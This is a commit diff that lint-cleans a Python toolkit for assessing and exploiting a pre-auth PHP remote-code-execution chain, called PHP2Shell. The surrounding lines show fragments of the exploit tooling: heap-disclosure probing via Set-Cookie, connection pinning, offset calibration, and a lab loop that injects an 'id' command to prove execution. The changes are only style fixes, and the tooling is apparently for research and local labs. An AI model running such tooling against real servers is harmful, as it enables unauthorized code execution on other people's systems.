Skip to content

Commit 04eea6b

Browse files
committed
Bring the existing tools in line with the ruff lint gate
The pre-existing research tools were written before ruff was adopted and never linted (the old `lint` target only ran gitleaks). Now that ruff enforces E/F/W/I/UP/B/SIM, fix the findings so `make lint` and CI pass repo-wide: - wrap one-shot open(...).read() calls in context managers (SIM115); - drop the redundant UTF-8 coding declarations and open() mode args; - use builtin generics and f-strings instead of typing/percent formats; - sort the imports. Behavior is unchanged; the unit suite still passes.
1 parent 2afe284 commit 04eea6b

11 files changed

Lines changed: 66 additions & 85 deletions

‎tools/php2shell_assess.py‎

Lines changed: 15 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
#!/usr/bin/env python3
2-
# -*- coding: utf-8 -*-
32
"""
43
php2shell_exploit.py — PHP2Shell (CVE-2026-109618 / CVE-2026-109619) assessment
54
and exploitation harness derived from docs/php2shell-analysis.md.
@@ -37,6 +36,7 @@
3736
from __future__ import annotations
3837

3938
import argparse
39+
import contextlib
4040
import ipaddress
4141
import json
4242
import random
@@ -49,7 +49,6 @@
4949
import time
5050
import urllib.parse
5151
from dataclasses import dataclass, field
52-
from typing import Dict, List, Optional, Tuple
5352

5453
# ---------------------------------------------------------------------------
5554
# Fixed-release matrix (docs/php2shell-analysis.md, section 2)
@@ -105,7 +104,7 @@ def __init__(self, url: str):
105104
self.base_path = p.path if p.path not in ("", "/") else "/"
106105
self.host_header = self.host if self.port in (80, 443) else f"{self.host}:{self.port}"
107106

108-
def connect(self, timeout: float = 10.0) -> "HTTPConn":
107+
def connect(self, timeout: float = 10.0) -> HTTPConn:
109108
return HTTPConn(self, timeout)
110109

111110

@@ -126,14 +125,14 @@ def send(self, data: bytes) -> None:
126125
def _fill(self) -> bool:
127126
try:
128127
chunk = self.sock.recv(65536)
129-
except (socket.timeout, ConnectionResetError, OSError):
128+
except (TimeoutError, ConnectionResetError, OSError):
130129
return False
131130
if not chunk:
132131
return False
133132
self.buf += chunk
134133
return True
135134

136-
def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]:
135+
def read_response(self, timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]:
137136
self.sock.settimeout(timeout)
138137
while b"\r\n\r\n" not in self.buf:
139138
if not self._fill():
@@ -149,8 +148,8 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte
149148
except (IndexError, ValueError):
150149
status = 0
151150

152-
headers: Dict[str, str] = {}
153-
set_cookies: List[str] = []
151+
headers: dict[str, str] = {}
152+
set_cookies: list[str] = []
154153
for line in lines[1:]:
155154
if b":" not in line:
156155
continue
@@ -201,14 +200,12 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte
201200
return status, headers, body, set_cookies
202201

203202
def close(self) -> None:
204-
try:
203+
with contextlib.suppress(OSError):
205204
self.sock.close()
206-
except OSError:
207-
pass
208205

209206

210-
def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None,
211-
timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]:
207+
def http_get(target: Target, path: str, extra: dict[str, str] | None = None,
208+
timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]:
212209
conn = target.connect(timeout)
213210
headers = {
214211
"Host": target.host_header,
@@ -229,7 +226,7 @@ def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None,
229226
# ---------------------------------------------------------------------------
230227
# Version classification
231228
# ---------------------------------------------------------------------------
232-
def classify_version(version: str) -> Tuple[str, bool, str]:
229+
def classify_version(version: str) -> tuple[str, bool, str]:
233230
m = re.search(r"(\d+)\.(\d+)\.(\d+)", version or "")
234231
if not m:
235232
return "UNKNOWN", False, "Could not extract a PHP version from the response headers."
@@ -280,9 +277,9 @@ class Report:
280277
oom_reached: bool = False
281278
oom_status: int = 0
282279
worker_alive: bool = False
283-
disclosure: Optional[bytes] = None
284-
pointers: List[int] = field(default_factory=list)
285-
notes: List[str] = field(default_factory=list)
280+
disclosure: bytes | None = None
281+
pointers: list[int] = field(default_factory=list)
282+
notes: list[str] = field(default_factory=list)
286283
rce_confirmed: bool = False
287284
rce_output: str = ""
288285

@@ -463,7 +460,7 @@ def check_worker_survival(cfg: Config, rep: Report) -> None:
463460
# ---------------------------------------------------------------------------
464461
def probe_disclosure(cfg: Config, rep: Report) -> None:
465462
stage("5/5", "Memory disclosure via Set-Cookie (stale PS(id))")
466-
results: Dict[int, bytes] = {}
463+
results: dict[int, bytes] = {}
467464
lock = threading.Lock()
468465

469466
def worker(i: int) -> None:
@@ -491,7 +488,7 @@ def worker(i: int) -> None:
491488
for t in threads:
492489
t.join()
493490

494-
suspicious: List[Tuple[int, bytes]] = []
491+
suspicious: list[tuple[int, bytes]] = []
495492
for i, raw in sorted(results.items()):
496493
if not raw:
497494
continue

‎tools/php2shell_auto.py‎

Lines changed: 22 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
#!/usr/bin/env python3
2-
# -*- coding: utf-8 -*-
32
"""
43
php2shell_auto.py — version-aware dispatcher for the PHP2Shell RCE chain.
54
@@ -25,23 +24,23 @@
2524
"""
2625

2726
from __future__ import annotations
28-
from php2shell_paths import default_repo_dir
29-
from php2shell_upstream import patch_params, patch_tls
3027

3128
import argparse
29+
import contextlib
3230
import glob
31+
import ipaddress
3332
import json
3433
import os
35-
import ipaddress
3634
import re
3735
import socket
3836
import ssl
3937
import subprocess
40-
import time
4138
import sys
4239
import urllib.parse
4340

41+
from php2shell_paths import default_repo_dir
4442
from php2shell_ui import UI
43+
from php2shell_upstream import patch_params, patch_tls
4544

4645
FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}
4746
HERE = os.path.dirname(os.path.abspath(__file__))
@@ -236,7 +235,7 @@ def load_profiles(directory: str):
236235
profiles = []
237236
for path in sorted(glob.glob(os.path.join(directory, "*.json"))):
238237
try:
239-
with open(path, "r", encoding="utf-8") as fh:
238+
with open(path, encoding="utf-8") as fh:
240239
data = json.load(fh)
241240
if not isinstance(data, dict) or "php_version" not in data:
242241
continue
@@ -302,13 +301,12 @@ def interactive_loop(args, profile, outdir, ui: UI) -> int:
302301
continue
303302
stage_script(outdir, line)
304303
output = os.path.join(outdir, "o")
305-
try:
304+
with contextlib.suppress(OSError):
306305
os.unlink(output)
307-
except OSError:
308-
pass
309306
rc = run_upstream(args, profile, output, huge, ui, stream=False)
310307
if os.path.isfile(output):
311-
print(open(output, "r", encoding="utf-8", errors="replace").read().rstrip())
308+
with open(output, encoding="utf-8", errors="replace") as handle:
309+
print(handle.read().rstrip())
312310
else:
313311
ui.warn(f"no output (chain exit {rc})")
314312
return 0
@@ -386,10 +384,8 @@ def __init__(self, url: str, count: int):
386384
f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()
387385
s.sendall(req)
388386
s.settimeout(3)
389-
try:
387+
with contextlib.suppress(OSError):
390388
s.recv(65536)
391-
except OSError:
392-
pass
393389
self.socks.append(s)
394390

395391
@classmethod
@@ -422,32 +418,24 @@ def auto_remote(cls, url: str, max_pins: int = 32):
422418
s.sendall(req)
423419
s.settimeout(2)
424420
data = s.recv(65536)
425-
except socket.timeout:
421+
except TimeoutError:
426422
if s is not None:
427-
try:
423+
with contextlib.suppress(OSError):
428424
s.close()
429-
except OSError:
430-
pass
431425
break
432426
except OSError:
433427
if s is not None:
434-
try:
428+
with contextlib.suppress(OSError):
435429
s.close()
436-
except OSError:
437-
pass
438430
break
439431
if not data:
440-
try:
432+
with contextlib.suppress(OSError):
441433
s.close()
442-
except OSError:
443-
pass
444434
break
445435
head = data.split(b"\r\n\r\n", 1)[0].lower()
446436
if b"connection: close" in head:
447-
try:
437+
with contextlib.suppress(OSError):
448438
s.close()
449-
except OSError:
450-
pass
451439
for p in pins:
452440
p.close()
453441
return None
@@ -461,10 +449,8 @@ def auto_remote(cls, url: str, max_pins: int = 32):
461449

462450
def close(self) -> None:
463451
for s in self.socks:
464-
try:
452+
with contextlib.suppress(OSError):
465453
s.close()
466-
except OSError:
467-
pass
468454

469455

470456
def probe_memory_limit(args, ui: UI) -> int | None:
@@ -636,7 +622,7 @@ def main() -> int:
636622
profiles = load_profiles(args.profiles)
637623
catalog = {}
638624
try:
639-
with open(args.catalog, "r", encoding="utf-8") as fh:
625+
with open(args.catalog, encoding="utf-8") as fh:
640626
catalog = json.load(fh)
641627
except (OSError, ValueError):
642628
pass
@@ -805,7 +791,8 @@ def main() -> int:
805791
return 4
806792
if args.script:
807793
try:
808-
body = open(args.script, "r", encoding="utf-8").read()
794+
with open(args.script, encoding="utf-8") as handle:
795+
body = handle.read()
809796
except OSError as exc:
810797
ui.crit(f"cannot read {args.script}: {exc}")
811798
return 4
@@ -886,10 +873,8 @@ def main() -> int:
886873
huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile)
887874
ui.stage("EXECUTE", f"memory_limit={limit}M · huge_mb={huge}")
888875
if proof and os.path.exists(proof):
889-
try:
876+
with contextlib.suppress(OSError):
890877
os.unlink(proof)
891-
except OSError:
892-
pass
893878
rc = run_upstream(args, profile, proof, huge, ui)
894879
if rc == 0:
895880
break
@@ -906,10 +891,9 @@ def main() -> int:
906891

907892
detail = "proof retrieved by --fetch"
908893
if proof and os.path.isfile(proof):
909-
try:
910-
detail = open(proof, "r", encoding="utf-8", errors="replace").read().strip()
911-
except OSError:
912-
pass
894+
with contextlib.suppress(OSError), \
895+
open(proof, encoding="utf-8", errors="replace") as handle:
896+
detail = handle.read().strip()
913897
ui.result(True, "PRE-AUTH RCE CONFIRMED", detail)
914898
return 0
915899

‎tools/php2shell_calibrate.py‎

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
#!/usr/bin/env python3
2-
# -*- coding: utf-8 -*-
32
"""
43
php2shell_calibrate.py — build a verified profile for one PHP/libphp build.
54
@@ -35,8 +34,6 @@
3534
"""
3635

3736
from __future__ import annotations
38-
from php2shell_paths import default_repo_dir
39-
from php2shell_upstream import patch_params, patch_tls
4037

4138
import argparse
4239
import importlib.util
@@ -49,6 +46,9 @@
4946
import time
5047
import urllib.parse
5148

49+
from php2shell_paths import default_repo_dir
50+
from php2shell_upstream import patch_params, patch_tls
51+
5252
HERE = os.path.dirname(os.path.abspath(__file__))
5353
ROOT = os.path.dirname(HERE)
5454
FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}
@@ -109,7 +109,7 @@ def extract_symbols(repo: str, container: str) -> dict:
109109
subprocess.run([sys.executable, script, container], check=True)
110110
env = os.path.join(repo, "out", "offsets.env")
111111
values = {}
112-
with open(env, "r", encoding="utf-8") as fh:
112+
with open(env, encoding="utf-8") as fh:
113113
for line in fh:
114114
if "=" in line and not line.startswith("#"):
115115
k, v = line.strip().split("=", 1)
@@ -295,7 +295,8 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
295295
except Exception as exc:
296296
print(f" stage3 {name}: {exc}")
297297
if os.path.exists(proof) and os.path.getsize(proof) > 0:
298-
print(f"[+] stage3 {name}: {open(proof).read().strip()}")
298+
with open(proof) as handle:
299+
print(f"[+] stage3 {name}: {handle.read().strip()}")
299300
return True, {"htdata": off, "pads": pads}
300301
print(f" stage3 {name}: no proof")
301302
return False, None

‎tools/php2shell_inventory.py‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
#!/usr/bin/env python3
2-
# -*- coding: utf-8 -*-
32
"""Inventory the generated PHP2Shell profiles.
43
54
Reads every JSON profile in profiles/ and prints the offsets and heap
@@ -27,7 +26,7 @@ def load_profiles(directory: str):
2726
rows = []
2827
for path in sorted(glob.glob(os.path.join(directory, "*.json"))):
2928
try:
30-
with open(path, "r", encoding="utf-8") as fh:
29+
with open(path, encoding="utf-8") as fh:
3130
data = json.load(fh)
3231
except (OSError, ValueError):
3332
continue

‎tools/php2shell_labs.py‎

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
#!/usr/bin/env python3
2-
# -*- coding: utf-8 -*-
32
"""
43
php2shell_labs.py — disposable local laboratories for the PHP builds in the
54
profile/offset inventory.
@@ -22,15 +21,17 @@
2221
"""
2322

2423
from __future__ import annotations
25-
from php2shell_paths import default_repo_dir, prepare_lab_out
2624

2725
import argparse
26+
import contextlib
2827
import os
2928
import subprocess
3029
import sys
3130
import time
3231
import urllib.request
3332

33+
from php2shell_paths import default_repo_dir, prepare_lab_out
34+
3435
HERE = os.path.dirname(os.path.abspath(__file__))
3536
ROOT = os.path.dirname(HERE)
3637
LAB = os.path.join(ROOT, "lab", "rce")
@@ -112,10 +113,8 @@ def test():
112113
results.append((version, "not running", ""))
113114
continue
114115
proof = os.path.join(OUT, version, "p1")
115-
try:
116+
with contextlib.suppress(OSError):
116117
os.unlink(proof)
117-
except OSError:
118-
pass
119118
cmd = [sys.executable, os.path.join(HERE, "php2shell_auto.py"),
120119
"-u", f"http://127.0.0.1:{port}/index.php",
121120
"-c", "id>/out/p1", "--repo-dir", REPO,
@@ -125,9 +124,10 @@ def test():
125124
output = (result.stdout + result.stderr).strip().splitlines()
126125
print("\n".join(output[-6:]), flush=True)
127126
if result.returncode == 0 and os.path.isfile(proof):
128-
results.append((version, "RCE", open(proof).read().strip()))
127+
with open(proof) as handle:
128+
results.append((version, "RCE", handle.read().strip()))
129129
else:
130-
results.append((version, "no RCE (exit %d)" % result.returncode, ""))
130+
results.append((version, f"no RCE (exit {result.returncode})", ""))
131131
print("\n=== summary ===")
132132
for version, status_text, proof in results:
133133
print(f" {version:8} {status_text:24} {proof}")

0 commit comments

Comments
 (0)